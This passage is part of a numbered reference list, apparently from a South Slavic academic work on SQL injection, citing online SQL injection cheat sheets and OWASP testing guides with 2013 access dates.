12. http://ha.ckers.org/sqlinjection/ - dostupno 16.9.2013.

13. http://www.michaelboman.org/books/sql-injection-cheat-sheet-oracle - dostupno

16.9.2013.

14. http://www.michaelboman.org/books/sql-injection-cheat-sheet-mysql - dostupno

16.9.2013.

15. http://www.michaelboman.org/books/sql-injection-cheat-sheet-postgresql - dostupno

16.9.2013.

16. http://www.michaelboman.org/books/sql-injection-cheat-sheet-mssql - dostupno

16.9.2013.

17. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet -

dostupno 16.9.2013.

18. https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet - dostupno

16.9.2013.

122

19. http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ - dostupno 16.9.2013.

20. https://www.owasp.org/index.php/Testing_for_MySQL - dostupno 16.9.2013.

21. https://www.owasp.org/index.php/Testing_for_Oracle - dostupno 16.9.2013.

22. http://ckers.org/ - dostupno 16.9.2013.